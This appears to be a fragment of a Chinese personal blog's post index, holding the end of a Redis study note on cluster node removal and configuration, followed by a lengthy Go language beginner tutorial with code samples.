节点ID来完成，这个命令可以让当前节点忘记目标id的节点\n注意：该命令存在时效性，60秒内有效，如果60秒内集群内的节点都没有使用该命令忘记该节点，会导致该节点忘记失败，因为只有有一个节点没有忘记都会对该节点进行通信，导致其他节点忘记命令失效\n迁移槽数据\nredis-trib.rb reshard \u0026ndash;from 需要下线的节点id \u0026ndash;to 迁移数据到哪个节点的id \u0026ndash;slots 迁移多少个槽 192.168.1.10:6385\n是否确认操作，yes或者no\n如果需要将槽分配给多个节点，需要多次执行该命令，只需要修改迁移数据到哪个节点id和迁移多少个槽即可，迁移多少个槽给哪个节点，看需求分配\n下线节点（这个192.168.1.2:6385是集群内部的节点，不是下线节点，通过该节点来广播）\nredis-trib.rb del-node 192.168.1.2:6385 需要下线的节点id\n下线主节点，从节点都可以用这个，但是下线前请确保该节点的槽已经分配给其他节点，保证下线节点无槽，无任务，因为该命令会将该节点从集群中删除，并且该节点也被删除，这个节点将不存在\n故障发现，故障恢复\n集群完整性\n带宽消耗\npubsub广播\n集群倾斜和数据倾斜，以及请求倾斜\n读写分离\n数据迁移\n集群和单机\n缓存更新策略\n缓存粒度，穿透，无底洞问题\n","permalink":"https://chenjunlinabc.github.io/posts/97/","summary":"Redis是NoSQL数据库（Not Only SQL）家族的代表之一，其特点就是基于内存运行，支持分布式，key-value存储\nRedis具备速度快，支持多种数据结构，可持久化，支持主从复制，具备高可用，分布式等特点\n可以将内存中的数据存储到磁盘中，重启的时候再加载使用，保证数据的持久性，支持备份恢复，常用于缓存数据库（辅助持久化数据库）\n因为其是以内存作为存储介质，因此读写数据的效率极高，读取速度可高达110000次/s（也就说可达到10W QPS，QPS（Queries Per Second）:每秒查询率），写速度高达81000次/s\nRedis将数据存储于内存中，Redis会将数据的更新异步存储到磁盘中来持久化，Redis数据持久化有2种方式，分别是RDB（Redis DataBase）和AOF（append only file）\nRedis支持多种数据结构，例如：string（字符串），hash（哈希），list（列表），set（集合），zset(Sorted Set: 有序集合)，BitMaps（位图），HyperLogLog（超小内存唯一值计数），GEO（地理信息定位）\nRedis支持分布订阅，Lua脚本，事务，pipeline等功能，支持主从复制，确保高可用\nRedis可以用来当做缓存系统，用户访问app应用服务时，一般来说会优先从缓存中读取，如果缓存没有再到存储介质中读取，并且将该数据会在存储在缓存中，这个缓存就是Redis\nRedis安装\n编译安装（linux）\n下载redis-x.x.x.tar.gz\n解压\ntar xzf redis-x.x.x.tar.gz\n进入解压出来的文件夹中，执行make\u0026amp;\u0026amp;make install命令\n因为用的是默认配置\n进入src，./redis-server ../redis.conf\n测试客户端\n./redis-cli\nsrc目录下可看到6个可执行文件，作用如下：\nredis-server可执行文件用于启动redis服务器\nredis-cli可执行文件用于redis命令行客户端，用于连接redis服务器\nredis-benchmark可执行文件用于redis性能测试，基准测试\nredis-check-aof可执行文件用于修复AOF可持久化文件\nredis-check-dump可执行文件用于RDB可持久化文件的检查工作\nredis-sentinel可执行文件用于启动高可用的sentinel模式（该模式又叫哨兵）\n使用redis并不推荐使用windows，虽然微软官方提供了redis补丁，但是redis版本太低了，建议使用Linux虚拟机或者docker容器来跑\nredis有3种启动服务器方式\n默认配置启动\nredis-server\n动态参数启动\nredis-server \u0026ndash;port 6380\n配置文件启动（推荐，通过redis.conf文件来进行配置）\nredis-server configPath\n客户端连接服务（6379是redis默认端口）\nredis-cli -h 127.0.0.1 -p 6379 -a \u0026ldquo;root\u0026rdquo;\nredis.conf配置\n默认端口为6379\nport 6379\n要远程访问则设置为0.0.0.0\nbind 127.0.0.1\nlogfile，redis日志名\ndir，redis工作目录（日志文件和持久化文件存储在哪个文件）\n以守护进程运行（yes为守护进程），注意如果是以守护进程运行，那么会默认将pid写入到/var/run/redis.pid\ndaemonize yes","title":"Redis学习笔记"},{"content":"Golang又叫go语言，golang是它的全称，是由Google开发的一种静态强类型，编译型，并发型，并具有垃圾回收功能的编程语言\ngo语言确保达到静态编译语言的安全和性能的同时，又达到动态语言的开发维护效率\nGo语言天生支持并发，提供自动垃圾回收机制\ngo的源文件是xxx.go\n值得一提的是哔哩哔哩网站后端就是用golang开发，这个足以说明golang的并发功能有多强大了\n检查是否安装成功go\ngo version\n环境配置\nGOROOT对应着go的安装目录\nGOPATH对应着go的源代码目录（可以放多个目录）\nGOBIN对应着 go install安装和编译的二进制程序的安装目录\n检查go环境\ngo env\n源程序默认为UTF-8编码，;可省略\n第一个go程序\npackage main import \u0026quot;fmt\u0026quot; func main(){ fmt.Println(\u0026quot;hallo golang\u0026quot;) } go run hallo.go\n当然作为一个编译型语言，编译成二进制文件是支持的\ngo build hallo.go\n作为一个静态强类型语言，如果学过java的话，理解还是很轻松的\n定义包 package : 必须在源程序上声明该文件是属性那个包的\n引入包 import : 导入包，引用外部包开扩展功能\n注释\n// 单行\n/* 多 行 */\n标识符命名规范：第一个字母必须是字母或者下划线，而且不能是关键字，特殊符号只支持下划线\n常用的数据类型有：\n整型：int（有符号），uint（无符号），rune，int/unint(8,16,32,64)\n浮点型：float(32,64)，comple\n布尔型：bool（true，false）（bool默认值为false）\n字符串型：string\n数组：array\n结构体：struct\n变量\nvar abc string = \u0026ldquo;hallo\u0026rdquo;\n注意：如果声明变量了，但是没有初始化，那个该变量的值为系统默认设置的值（零值）\n定义多个变量\nvar abc xyz string = \u0026ldquo;hallo\u0026rdquo;,\u0026ldquo;word\u0026rdquo;\n而且go会根据提供值来判断数据类型是什么，例如：\nvar xyz = 666\ngo还提供一个特殊的运算符 :=，可以在变量不被声明的情况下使用，例如：\nhallo,word := \u0026ldquo;hallo\u0026rdquo;, \u0026ldquo;word\u0026rdquo;\n:=在实质开发中会经常使用的\ngo类型强制转换（和java一样，高精度转为低精度会失真）\nvar abc int = 666\nvar xyz float = 3.14\nvar gg string = \u0026ldquo;123\u0026rdquo;\nfloat(abc) // 强制转换为浮点数\nint(xyz) // 强制转为整型，会失去小数点之后的数值\nstrconv.Itoa(abc) // 强制转为字符串\nstrconv.Atoi(gg) // 强制转为整型\n注意：同一作用域中不能重复声明，而且必须要声明变量才能使用，而且必须要使用\n声明多个变量\nvar abc,xyz,hallo int\nvar( abc int xyz float ) 常量\n和其他语言一样，常量表示的就是不可修改的变量\nconst abc, xyz int = 123, 666\ngo还提供了一种特殊的定义方式，例如：\nconst( a = \u0026quot;hi\u0026quot; b = \u0026quot;hallo\u0026quot; ) 如果声明多个常量时，省略了值那么就是表示和第一行值相同，例如：\nconst( a = 123 b c ) 注意：定义的时候必须赋值\niota常量计数器\nconst( a = iota b _ d ) iota在出现const关键字时重置为0，const每增加一行常量声明，iota加1（自增长），_（下划线，空白标识符（占位），常用于忽略函数多个返回值，例如err）为跳过某些值\n类型\ngolang的数据类型分为基本数据类型和复合数据类型\n基本数据类型有整型，浮点型，字符串，布尔型\n复合数据类型有数组，函数，切片，结构体，字典（map），通道（channel），接口\n注意：像整型有很多种，像int8，int16，int32，uint8，uint16等等，如果直接写int的话，在不同的操作系统中是不一样的，32为操作系统的int指的是int32，64位操作系统指int64\n可使用unsafe.Sizeof查看变量的长度（在内存中的存储空间），例如：\nvar num100 = 100 fmt.Println(unsafe.Sizeof(num100)) 值类型：值类型被声明变量后，不管有没有赋值，都会分配内存给它，也就是说值类型的声明不需要分配内存，因为在声明的时候已经分配好了内存\n引用类型：变量存储的是一个地址，地址对应的内存空间就是真正存储数据的，引用类型必须申请内存才能使用，例如make()\n自定义类型：可以使用type关键字来自定义类型，例如：type Testint int // 将Testint定义为int类型\n类型转换\n注意：高位转低位会出现精度丢失，例如\nvar abc int16 = 666 fmt.Println(int8(abc)) // -102 数字字面量语法\ngo1.13版本+，引入了数字字面量语法，方便使用二进制，八进制，十六进制的格式定义数字，例如:\nabc := 0b10100010101000001011 fmt.Println(abc) // 666123 0b表示二进制\n0o表示八进制\n0x表示十六进制\n进制的转换\nvar abc int64 = 100 fmt.Println(abc) a := strconv.FormatInt(abc, 2) // 二进制 fmt.Println(a) b := strconv.FormatInt(abc, 8) // 八进制 fmt.Println(b) c := strconv.FormatInt(abc, 10) // 十进制（默认） fmt.Println(c) d := strconv.FormatInt(abc, 16) // 十六进制 fmt.Println(d) 浮点型（也就是小数）\nGo的浮点型分为float32和float64\nfloat32的浮点数的最大范围为3.4028234663852886e+38，可用math.MaxFloat32输出查看\nfloat64的浮点数的最大范围为1.7976931348623157e+308，可用math.MaxFloat64输出查看\nvar pi = math.Pi fmt.Printf(\u0026quot;%f\\n\u0026quot;, pi) // 默认小数点6位 fmt.Printf(\u0026quot;%.10f\\n\u0026quot;, pi) // 指定输出小数点后几位 字符串\ngo语言字符串编码为UTF-8\n例如： hallo := \u0026ldquo;你好 Word\u0026rdquo;\n可输出多行字符串\nvar str123 = `第一行 第二行 第三行` fmt.Println(str123) len()：字符串长度\n+或fmt.Sprintf：拼接字符串\nstrings.Index()：返回字符在字符串中的位置\nstrings.contains：返回是否包含某个字符\n布尔类型\nvar abc = false var xyz = true\nbyte和rune类型\n组成字符串的元素叫字符，可遍历字符串获取字符\ngo语言的字符分为2种类型，分别为uint8（byte，表示ACII码的一个字符）和rune类型（表示一个UTF-8字符）\n因此使用非ACII码的字符，需要使用rune类型（一个汉字占3个字节，字母只占一个字节）\n注意：修改字符串必须将其转换为byte或者rune类型，完成修改后再转回string，例如：\nhallo := \u0026quot;你好,golang\u0026quot; abc := []rune(hallo) abc[0] = '您' fmt.Println(string(abc)) 整型转字符串类型\nvar a int = 100 b := fmt.Sprintf(\u0026quot;%d\u0026quot;, a) fmt.Printf(b) 字符串转整型或者浮点型\nstr := \u0026quot;666\u0026quot; str1 := \u0026quot;3.14\u0026quot; strScore, err := strconv.Atoi(str) fmt.Println(strScore, err) // err为转换失败的信息 num, err := strconv.ParseInt(str, 10, 64) fmt.Println(num, err) num1, err := strconv.ParseFloat(str1, 10) fmt.Println(num1, err) 运算符\n+：加，-减，*乘，/除，%求余\n注意：在go中，++和\u0026ndash;是单独使用的，是没有++i的，正确写法例如：\nvar i int = 64 i++ // ++i 错误 if判断\npackage main import \u0026quot;fmt\u0026quot; func main(){ abc := 123 if abc \u0026gt;666{ fmt.Println(\u0026quot;abc大于666\u0026quot;) } else if abc \u0026lt; 666{ fmt.Println(\u0026quot;abc小于666\u0026quot;) }else{ fmt.Println(abc) } } if的另一种写法：\nif abc:=123; xyz\u0026gt;=100{ fmt.Println(\u0026quot;abc\u0026gt;=100\u0026quot;) } switch判断（用于对大量的值进行判断）\nxyz := \u0026quot;abc\u0026quot; switch xyz { case \u0026quot;abc\u0026quot;: fmt.Println(\u0026quot;1\u0026quot;) case \u0026quot;123\u0026quot;: fmt.Println(\u0026quot;2\u0026quot;) default: fmt.Println(xyz) } switch判断的另一种使用方法\nswitch abc := \u0026quot;hallo\u0026quot;; abc { case \u0026quot;hallo\u0026quot;:{ fmt.Println(\u0026quot;hallo\u0026quot;) break // 不用break也能跳出switch语句 } case \u0026quot;hi\u0026quot;,\u0026quot;hello\u0026quot;:{ // 多个值用逗号分隔 fmt.Println(\u0026quot;hi\u0026quot;) fmt.Println(\u0026quot;hello\u0026quot;) break\t} default:{ fmt.Println(\u0026quot;hallo word\u0026quot;) break } } 如果想继续执行下一个case，可以使用fallthrough语句（switch最后一个分支不要使用fallthrough语句，否则报错，而且不能在case语句中间使用，必须是在case语句最后一个语句中使用）例如：\nfunc hallo() int { abc := 100 + 666 + 123 return abc } func main() { switch abc := hallo(); { case abc \u0026gt; 500: fmt.Printf(\u0026quot;num \u0026lt; 500\\n\u0026quot;) fallthrough case abc \u0026gt; 666: fmt.Printf(\u0026quot;num \u0026lt; 666\\n\u0026quot;) fallthrough case abc \u0026gt; 123: fmt.Printf(\u0026quot;num \u0026lt; 123\\n\u0026quot;) } } for循环\nfor abc := 1; abc\u0026lt;10 ; abc++{ fmt.Println(abc) } golang是没有while循环语句，但是可以使用for循环来做出类似的功能\nabc := 1 for abc\u0026lt;10 { fmt.Println(abc) abc++ } for循环可用break，goto，return，panic语句退出循环\nbreak跳出循环\n一次性跳出多层循环 break LOOP\ncontinue是退出当前循环\ngoto是无条件转移到goto语句的行，可用于跳出循环，条件转移，例如：\nfunc main() { var abc int = 123 LOOP: for abc \u0026lt; 666 { if abc == 233 { abc = abc + 1 goto LOOP } fmt.Printf(abc) abc++ } } return可用于函数或者方法中，用于跳出当前函数或者方法，如果return语句在main函数中，将是终止程序运行，在普通函数中，将是终止当前函数执行（return后面的程序不执行了）\n当return没有带返回值，将是终止，如果带返回值，那么就是终止并且返回值\ngo语言并没有像java那样的异常嵌套机制，go语言用panic-and-recover来替代\npanic可中断原来的流程控制，某个函数调用了panic，将终止该函数的执行，如果有延迟函数（defer）则执行该defer函数，返回其调用者，一直到goroutine（goroutine是go语言的轻量级线程，由runtime管理，go语言会智能的将goroutine中的任务合理分配给每个CPU，go程序在运行时，会给main()函数建立一个默认goroutine，用go关键字创建goroutine，例如：go 函数名(参数)）的全部函数都返回，然后打印panic信息，堆栈信息，最后到终止程序\npanic：在任何地方都可以触发 recover：只在用了defer修饰的函数内有效\n注意：平时不要用panic-and-recover，而是errors，只有当程序不能继续执行了才用，例如出现不可恢复的错误，不能再让它继续执行了，这里举个例子：\nfunc abc() { fmt.Println(\u0026quot;hallo word\u0026quot;) } func hallo() { defer func() { err := recover() if err != nil { fmt.Println(\u0026quot;hallo word\u0026quot;) } }() panic(\u0026quot;runtime error!!!\u0026quot;) } func main() { abc() hallo() } errors（在go语言中，发生错误，是通过返回errprs值，来对errprs值进行修改或者忽略，当没有错误时，rrprs值为nil，因此可以通过判断errors的值是否为nil来知道是否出现错误，以及处理错误）\nfor range循环（可用于遍历数组，字符串，字典（map），切片（数组），channel（通道））\nfor range循环数组，字符串，切片返回索引和值，字典（map）返回键和值，channel（通道）返回通道内的值\n例如：\nvar abc = \u0026quot;hallo word\u0026quot; for key, index := range abc { fmt.Printf(\u0026quot;%v:%c,\u0026quot;, key, index) } 数组（在go中，数组是指同一系列，同一类型的数据集合，组成数组的数据叫元素，go语言的数组的元素是被分配到连续的内存地址中，索引元素是速度非常快的）\nvar abc [16]int // 定义int类型，元素个数为16的数组 abc[0] = 10 abc[1] = 66 fmt.Println(abc) var xyz = [3]string {\u0026quot;hallo word\u0026quot;,\u0026quot;golang\u0026quot;,\u0026quot;hahaha\u0026quot;} fmt.Println(xyz) var a = [...]int{1, 2, 3, 4, 5} // 自动判断数组长度 fmt.Println(a) b := [...]int{1: 66, 3: 100} fmt.Println(b) 遍历数组\nhallo := [...]int{1: 66, 3: 100} for i := 0; i \u0026lt; len(hallo); i++ { fmt.Print(hallo[i], \u0026quot;\\n\u0026quot;) } 也可以用for range方法\n数组是值类型，将数组赋值给另一个变量，会生成副本，修改另一个变量，只会修改副本，不会修改原来的数组，例如：\nhallo := [...]int{1: 66, 3: 100} abc := hallo abc[1] = 100 fmt.Println(hallo, abc) 可以看到在golang中数组不是引用类型\n二维数组\nvar abc = [...][2]int{{100,123},{222,333},{666,60}} fmt.Println(abc) for i := 0; i \u0026lt; len(abc); i++ { for j := 0; j \u0026lt; len(abc[0]); j++ { fmt.Println(abc[i][j]) } } 数组的初始值为nil（nil表示为空）\n知识点：指针和引用类型的默认值为nil，需要分配空间\n切片\n切片和数组类似（切片是基于数组类型进行一层封装），不过切片是引用类型（调用的只是在内存中的地址，指针）的\nvar hallo = []int{100, 2333, 666} abc := hallo abc[0] = 123 xyz = abc[1:2] fmt.Println(hallo, abc, xyz) for i := 0; i \u0026lt; len(abc); i++ { fmt.Print(abc[i], \u0026quot;\\n\u0026quot;) } 长度用len()获取，容量用cap()获取\nmake函数创建切片\nvar data = make([]int, 2, 8) // int类型，长度为2，容量为8 fmt.Printf(\u0026quot;长度：%d, 容量%d\u0026quot;, len(data), cap(data)) append()切片扩容\nvar hallo = []int64{100, 2333, 666} hallo = append(hallo, 123) fmt.Println(hallo) // 100, 2333, 666, 123 abc := []int64{1,3,4,5,6} hallo = append(hallo, abc...) // 将两个切片合并 fmt.Println(hallo) // 100,2333,666,123,1,3,4,5,6 copy()函数复制切片（可以理解为深拷贝）\nvar hallo = []int64{100, 2333, 666} var abc = make([]int64, len(hallo), len(hallo)) copy(hallo, abc) abc[0] = 4 fmt.Println(hallo,abc) 删除切片的值（golang中并没有删除切片的值的方法，不过可以用append()实现）\nvar hallo = []int64{100, 2333, 666} hallo = append(hallo[:2], hallo[3:]...) fmt.Println(hallo) 遍历切片和数组一样\nmap（字典）\nmap（字典）是无序的基于key-value的数据结构，在golang中map是引用类型\nvar abc = make(map[string]int) // string是键的类型，int是键对应的值的类型 abc[\u0026quot;user\u0026quot;] = 123 abc[\u0026quot;pass\u0026quot;] = 666 fmt.Println(abc) fmt.Println(abc[\u0026quot;pass\u0026quot;]) 或者\nvar hallo = map[string]string { \u0026quot;user\u0026quot;:\u0026quot;root\u0026quot;, \u0026quot;pass\u0026quot;:\u0026quot;abchahaha\u0026quot;, } fmt.Println(hallo) 遍历map\nvar hallo = map[string]string { \u0026quot;user\u0026quot;:\u0026quot;root\u0026quot;, \u0026quot;pass\u0026quot;:\u0026quot;abchahaha\u0026quot;, } for key, value := range hallo { fmt.Println(\u0026quot;key:\u0026quot;, key, \u0026quot; value:\u0026quot;, value) } 判断map中某个键值是否存在\nvar hallo = map[string]string { \u0026quot;user\u0026quot;:\u0026quot;root\u0026quot;, \u0026quot;pass\u0026quot;:\u0026quot;abchahaha\u0026quot;, } value, yes := hallo[\u0026quot;pass\u0026quot;] // 返回2个值。value为返回结果，yes为是否存在该键值 fmt.Println(value, yes) delete()删除键值对\nvar hallo = map[string]string { \u0026quot;user\u0026quot;:\u0026quot;root\u0026quot;, \u0026quot;pass\u0026quot;:\u0026quot;abchahaha\u0026quot;, } delete(hallo, \u0026quot;pass\u0026quot;) value, no := hallo[\u0026quot;pass\u0026quot;] fmt.Println(value, no) 通道\nGolang中还有一个特殊的类型chan，这个类型一般用来线程之间的数据传输\n声明chan\nvar a chan int a := make(chan int, 1) a \u0026lt;- 999 b := \u0026lt;- a\nchan底层是指针，指针初始值为空，需要实例化，make()就是实例化了chan\n\u0026lt;- 999：将值放进通道\n\u0026lt;- a : 将 999 从通道中提取出来\n函数\n函数通过func关键字来声明和定义函数\nfunc hallo(a ...string){ fmt.Println(a) } func main(){ hallo(\u0026quot;hallo golang!!!\u0026quot;) } 匿名函数\nfunc main() { func () { fmt.Println(\u0026quot;我是匿名函数\u0026quot;) }() } 因为没有函数名，没法像正常函数那样被调用，需要将其赋值或者作为立即执行函数\n返回值\nfunc hallo(a, b int) (int,int,int) { x := a+b y := a-b z := a*b return x, y, z } func main(){ abc, xyz, go := hallo(6,3) fmt.Println(abc, xyz, go) } 当然也是可以自动返回\nfunc hallo(a, b int) (x int,y int,z int){}\ngolang的全局变量和局部变量\n全局变量：常驻内存中，污染全局\n局部变量：不常驻内存中，不污染全局\n闭包：让变量可以常驻内存的同时，不污染全局\n闭包的写法：\nfunc hallo() func() int { i := 123 return func() int { return i + 666 } } func main() { var abc = hallo() fmt.Println(abc()) } 或者\nfunc hallo() func(a int) int { var i = 10 return func(a int) int { i = i + a return i } } func main() { var abc = hallo() fmt.Println(abc(666)) } defer修饰语句可以延迟执行语句，例如：\nfmt.Println(\u0026quot;1\u0026quot;) defer fmt.Println(\u0026quot;2\u0026quot;) fmt.Println(\u0026quot;3\u0026quot;) 如果使用多个defer修饰语句，会逆序执行（先使用defer最后执行，最后使用defer，最早执行（相对于使用defer修饰的语句））\n在golang中的time包提供了时间显示和测量时间的函数\n获取时间（年-月-日）例如：\ntimedata := time.Now() year := timedata.Year() month := timedata.Month() day := timedata.Day() fmt.Printf(\u0026quot;%d-%02d-%02d \\n\u0026quot;, year, month, day) 格式化日期（在golang中，并且不是使用Y-m-d H:M:S模板格式化，而且是使用Go的诞生时间：2006年1月2日 15点04分）\n例如：\ntimedata := time.Now() fmt.Println(timedata.Format(\u0026quot;2006-01-02 15:04:05\u0026quot;)) // 24小时制 fmt.Println(timedata.Format(\u0026quot;2006-01-02 03:04:05\u0026quot;)) // 12小时制 获取时间戳（时间戳是自1070年1月1日08:00:00GMT至今的总毫秒数，又叫Unix时间戳）\n例如：\ntimedata := time.Now() unixTime := timedata.Unix() // 毫秒时间戳 unixNaTime := timedata.UnixNano() // 纳秒时间戳 fmt.Println(unixTime,unixNaTime) 时间戳转正常日期\nvar abc = time.Unix(1642746020, 0) var xyz = abc.Format(\u0026quot;2006-01-02 15:04:05\u0026quot;) fmt.Println(xyz) 正常日期转时间戳\nvar abc = \u0026quot;2022-01-21 14:21:55\u0026quot; var tmp = \u0026quot;2006-01-02 15:04:05\u0026quot; timedata, err := time.ParseInLocation(tmp, abc, time.Local) fmt.Println(timedata.Unix()) 时间的间隔（两个时间之间的间隔，单位为纳秒，time.Duration是time定义的类型，表示一段时间间隔，最大可以表示290年）\ndata := time.Now() abc := data.Add(time.Hour) xyz := data.Add(time.Second) fmt.Println(abc) // 输出1个小时后的时间 fmt.Println(xyz) // 输出1秒后的时间 指针\ngolang的指针有3个概念，地址，类型，取值\n\u0026amp;：获取地址，*：根据地址取值\na := 100 b := \u0026amp;a fmt.Println(b) // 获取地址 fmt.Println(*b) // 根据地址取值 *b = 666 fmt.Println(a) // 根据地址修改值，改变内存中的值，会改变原来的变量值 注意：指针必须在创建内存后才能使用（其他引用类型也是一样，需要用make分配空间或者在定义的时候分配空间，值类型在声明的时候已经分配了默认空间，因此值类型不用分配空间）\nnew关键字分配内存（new是一个内置函数，调用new函数得到的是指定类型的指针，并且指针对应的值为该类型的零值）\nabc := new(int) fmt.Printf(abc) fmt.Println(*abc) make和new的区别：虽然这两个都是用来内存分配的，不过make是用于map，channel，切片（slice）的初始化，返回的值为这3个类型的本身，而new是用来类型的内存分配，内存对应的值为类型的零值，返回的值为指向类型的指针\nGolang语言是面向对象语言又不是，虽然有类型和方法，也支持面向对象的编程风格，但是go没有对象（object）这个类型，也没有类（class）的概念，在go中用结构体替代面向对象语言的类（class）\ntype关键字（go通过type关键字定义结构体，结构体是值类型）\n自定义类型（type也可以来定义自定义类型）\ntype dataStr string dataStr自定义类型具备string类型的特性\ntype dataStr string func main() { var abc dataStr = \u0026quot;hallo word\u0026quot; fmt.Printf(\u0026quot;%v %T\u0026quot;, abc, abc) } 类型别名（只是别名，实质上还是同一个类型）\ntype dataStr = string 结构体的定义以及初始化（type关键字和struct关键字）\ntype Data struct{ user string // 定义结构体 age int pass string } func main(){ var data Data // 实例化 data.user = \u0026quot;root\u0026quot; data.age = 20 data.pass = \u0026quot;123456789\u0026quot; fmt.Printf(\u0026quot;%#v\u0026quot;, data) } 也可以使用new关键字实例化\nfunc main(){ var data = new(Data) // 实例化 data.user = \u0026quot;root\u0026quot; // 等于 (*data).user = \u0026quot;root\u0026quot; data.age = 20 data.pass = \u0026quot;123456789\u0026quot; fmt.Printf(\u0026quot;%#v\u0026quot;, data) // 结构体指针 } 在golang中支持直接对结构体指针使用，来访问结构体的属性\n另外几种实例化结构体的方法\nvar data = \u0026amp;Data{ data.user = \u0026quot;root\u0026quot;, data.age = 20, data.pass = \u0026quot;123456789\u0026quot;, } fmt.Printf(\u0026quot;%#v\u0026quot;, data) var data = Data{ data.user = \u0026quot;root\u0026quot;, data.age = 20, data.pass = \u0026quot;123456789\u0026quot;, } fmt.Printf(\u0026quot;%#v\u0026quot;, data) var data = Data{ \u0026quot;root\u0026quot;, 20, \u0026quot;123456789\u0026quot;, } fmt.Printf(\u0026quot;%#v\u0026quot;, data) 结构体的方法和接收\ntype Data struct{ // 定义结构体 user string age int pass string } func (d Data) DataMain() { // 定义方法 fmt.Print(\u0026quot;user:\u0026quot;, d.user) fmt.Print(\u0026quot;age:\u0026quot;, d.age) fmt.Print(\u0026quot;pass:\u0026quot;, d.pass) fmt.Println() } func (d *Data) GetData(user string, age int, pass string) { // 接收方法，因为结构体是值类型，需要使用指针 d.user = user d.age = age d.pass = pass } func main() { var data = Data{ \u0026quot;root\u0026quot;, 20, \u0026quot;123456789\u0026quot;, } data.DataMain() data.GetData(\u0026quot;admin\u0026quot;, 22, \u0026quot;abc12345\u0026quot;) data.DataMain() } 输出结果为：\nuser:rootage:20pass:123456789 user:adminage:22pass:abc12345\n自定义类型方法（类型一样可以定义方法）\ntype dataStr string func (d dataStr) dataInfo(){ fmt.Println(\u0026quot;hallo golang\u0026quot;) // 自定义类型的自定义方法 } func main() { var abc dataStr = \u0026quot;hallo word\u0026quot; abc.dataInfo() } 结构体匿名字段（go允许字段在声明的时候没有字段名，只有类型，因为结构体要求字段名唯一，因此在同一个结构体中同种类型的匿名字段只能出现一次）\ntype Data struct{ // 定义结构体 string int string } func main(){ var data = Data{ // 结构体匿名字段 \u0026quot;root\u0026quot;, 20, \u0026quot;123456789\u0026quot;, } } 注意：结构体的字段类型可以是任意类型（包括自定义类型，结构体类型），但是如果类型是引用类型（例如map，指针）需要先使用make分配空间再使用\n结构体嵌套\ntype Data struct{ // 定义结构体 user string age int pass string datamain DataMain //嵌套DataMain结构体 } type DataMain struct{ // 定义结构体 email string phone string } func main() { var d Data d.user = \u0026quot;xiaochen\u0026quot; d.age = 20 d.pass = \u0026quot;123456789\u0026quot; var datamain DataMain datamain.email = \u0026quot;a@xiaochenabc123.test.com\u0026quot; datamain.phone = \u0026quot;18888888888\u0026quot; d.datamain = datamain fmt.Printf(\u0026quot;%#v\u0026quot;, d) } 输出结果为main.Data{user:\u0026ldquo;xiaochen\u0026rdquo;, age:20, pass:\u0026ldquo;123456789\u0026rdquo;, datamain:main.DataMain{email:\u0026ldquo;a@xiaochenabc123.test.com\u0026rdquo;, phone:\u0026ldquo;18888888888\u0026rdquo;}}\n嵌套结构体可能出现字段名相同，go默认先从父结构体查找，如果没有再到子结构体中查找，这时如果子结构体存在相同的字段，会报错，因为不知道该设置哪个字段（所以字段名要全局唯一）\n结构体继承（可以理解为类的继承，实质效果和结构体嵌套类似）\ntype Data struct{ // 定义结构体 user string age int pass string DataMain //通过结构体嵌套实现继承 } func (data Data) datamax() { fmt.Printf(\u0026quot;email: %v \\n\u0026quot;, data.email) } type DataMain struct{ // 定义结构体 email string phone string } func (datamain DataMain) dataabc() { fmt.Printf(\u0026quot;email: %v \\n\u0026quot;, datamain.email) } func main() { var data = Data{ user: \u0026quot;root\u0026quot;, DataMain: DataMain{ email: \u0026quot;a@xiaochenabc123.test.com\u0026quot;, }, } data.datamax(); data.dataabc(); } 可以看到Data结构体拥有DataMain结构体的方法\n注意结构体的字段首字母要大写，表示公有，小写为私用\ngo结构体和json序列化\n将结构体转换为json叫json序列化，将json转换为结构体叫json反序列化\njson序列化和json反序列化主要依赖于encoding/json包的json.Marshal()方法和json.Unmarshal()方法\ntype Data struct{ // 定义结构体 User string Age int Pass string } func main() { var data = Data{ User: \u0026quot;root\u0026quot;, Age: 20, Pass: \u0026quot;123456789\u0026quot;, } // 结构体转换成Json（返回值为是byte类型的切片） jsonByte, _ := json.Marshal(data) // byte类型转string类型 jsonStr := string(jsonByte) fmt.Printf(string(jsonByte)) fmt.Printf(jsonStr) } json字符串转结构体\ntype Data struct{ // 定义结构体 User string Age string Pass string } func main() { // Json字符串转换成结构体 var str = `{\u0026quot;User\u0026quot;:\u0026quot;root\u0026quot;,\u0026quot;Age\u0026quot;:\u0026quot;20\u0026quot;,\u0026quot;Pass\u0026quot;:\u0026quot;123456789\u0026quot;}` var data = Data{} // 第一个参数是传入byte类型的json字符串，第二个参数需要传入转换的地址 err := json.Unmarshal([]byte(str), \u0026amp;data) if err != nil { fmt.Printf(\u0026quot;转换失败 \\n\u0026quot;) } else { fmt.Printf(\u0026quot;%#v \\n\u0026quot;, data) } } 结构体标签（tag）\ntag是结构体的元信息，可以在运行时通过反射的机制读取出来，tag在结构体字段后面定义，用反引号包裹，tag是以键值对的方式组成，不同的tag用空格分隔\ntype Data struct{ // 定义结构体，并且使用结构体标签 User string `json:\u0026quot;user\u0026quot;` Age string `json:\u0026quot;age\u0026quot;` Pass string `json:\u0026quot;pass\u0026quot;` } func main() { var data = Data{ User: \u0026quot;root\u0026quot;, Age: \u0026quot;20\u0026quot;, Pass: \u0026quot;123456789\u0026quot;, } jsonByte, _ := json.Marshal(data) // byte类型转string类型 jsonStr := string(jsonByte) fmt.Printf(jsonStr) var str = `{\u0026quot;User\u0026quot;:\u0026quot;admin\u0026quot;,\u0026quot;Age\u0026quot;:\u0026quot;22\u0026quot;,\u0026quot;Pass\u0026quot;:\u0026quot;abc12345\u0026quot;}` var datajson = Data{} err := json.Unmarshal([]byte(str), \u0026amp;datajson) if err != nil { fmt.Printf(\u0026quot;转换失败 \\n\u0026quot;) } else { fmt.Printf(\u0026quot;%#v \\n\u0026quot;, datajson) } } 包(package)是多个源码的集合，是一种代码复用方案，像fmt，time，encoding/json都是go的内置包\ngo中的包分为3种，内置包（go提供的内置包，可以直接引入使用），自定义包（自己写的包），第三方包（也是自定义包，不过不是自己写的，需要下载到本地才能使用）\n包管理器（go mod）（在1.11版本之前需要使用自定义包的话，需要将项目放在GOPATH环境变量中，1.13之后将彻底不需要GOPATH）\n初始化项目（生成go.mod来管理项目的依赖（包括go版本和要使用到的包））\ngo mod init go_test\n如果要引入go_test项目的包，需要import \u0026ldquo;go_test/包名\u0026rdquo;，包名根据package设置\npackage 